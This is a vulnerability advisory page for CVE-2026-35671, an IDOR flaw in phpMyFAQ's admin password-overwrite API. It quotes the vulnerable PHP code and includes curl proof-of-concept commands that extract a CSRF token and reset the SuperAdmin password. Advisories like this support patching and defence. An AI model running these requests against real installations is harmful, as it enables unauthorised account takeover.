Loading...
Skip to main content

CVE-2026-35671 — Vulnerability in phpmyfaq/phpmyfaq — CVE Details

HIGH

phpMyFAQ: IDOR Account Takeover

Published May 20, 2026Updated September 10, 2026Source: osv

Summary

### Summary An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body. ### Details File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password: #[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])] ```php public function overwritePassword(Request $request): JsonResponse { $this->userHasUserPermission(); // Only checks if user has USER_EDIT permission $currentUser = CurrentUser::getCurrentUser($this->configuration); $data = json_decode($request->getContent()); $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); // User-controlled! $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS); $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS); $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS); if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) { return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED); } // NO check that $userId belongs to a user the admin should manage // NO check that target user has lower or equal privileges // Can overwrite password for ANY user, including SuperAdmin (userId=1) $currentUser->getUserById((int) $userId, allowBlockedUsers: true); $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType')); if (hash_equals($newPassword, $retypedPassword)) { if (!$currentUser->changePassword($newPassword)) { return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST); } $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId); return $this->json(['success' => ...], Response::HTTP_OK); } } ``` ### Root Causes: 1. No verification that the requesting admin has permission to modify the target user's password 2. No check that the target user has equal or lower privilege level 3. The userId is taken directly from the request body without authorization context 4. No multi-factor confirmation for privilege-escalating password changes ### PoC Prerequisites: Authenticated admin session with USER_EDIT permission Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first). Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages: ```bash curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+' ``` Step 3 - Change SuperAdmin Password: ```bash curl -X PUT -H "Content-Type: application/json" \ -b "PHPSESSID=admin_session" \ -d '{ "userId": 1, "csrf": "admin_csrf_token_value", "newPassword": "NewSuperAdminP@ss123!", "passwordRepeat": "NewSuperAdminP@ss123!" }' \ http://target/admin/api/user/overwrite-password ``` Response: {"success":"The password was successfully changed."} Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ. ### Who is Impacted: - Organizations with multiple admin users where not all should have SuperAdmin access - Any phpMyFAQ instance where privilege separation is configured - Multi-tenant environments where users should only manage their own accounts #### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission #### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions

Advisory Timeline

  • First published May 20, 2026 (145 days ago).
  • Last revised September 10, 2026 — 113 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update phpmyfaq/phpmyfaq to 4.1.3 or later
composer require "phpmyfaq/phpmyfaq:^4.1.3"
Composer
Update thorsten/phpmyfaq to 4.1.3 or later
composer require "thorsten/phpmyfaq:^4.1.3"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: packagist (2).

PackageEcosystemAffectedFixed In
phpmyfaq/phpmyfaq
packagist
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2 (+167 more)4.1.3
thorsten/phpmyfaq
packagist
2.10.0-alpha, 2.8.0, 2.8.0-RC, 2.8.0-RC2 (+167 more)4.1.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-35671?
phpMyFAQ: IDOR Account Takeover This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-35671?
CVE-2026-35671 affects phpmyfaq/phpmyfaq and thorsten/phpmyfaq. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-35671 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-xvp4-phqj-cjr3

Related CVEs

  • CVE-2026-46364
    CRITICAL

    phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha

  • CVE-2026-45010
    CRITICAL

    phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

  • CVE-2026-56737
    HIGH

    phpMyFAQ's two-factor authentication login bypasses the password factor

  • CVE-2026-56396
    HIGH

    phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards

  • CVE-2026-35676
    HIGH

    phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation

  • CVE-2026-57995
    HIGH

    phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold

  • CVE-2026-56736
    HIGH

    phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

  • CVE-2026-32629
    MEDIUM

    phpMyFAQ is Vulnerable to Stored XSS via Unsanitized Email Field in Admin FAQ Editor

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies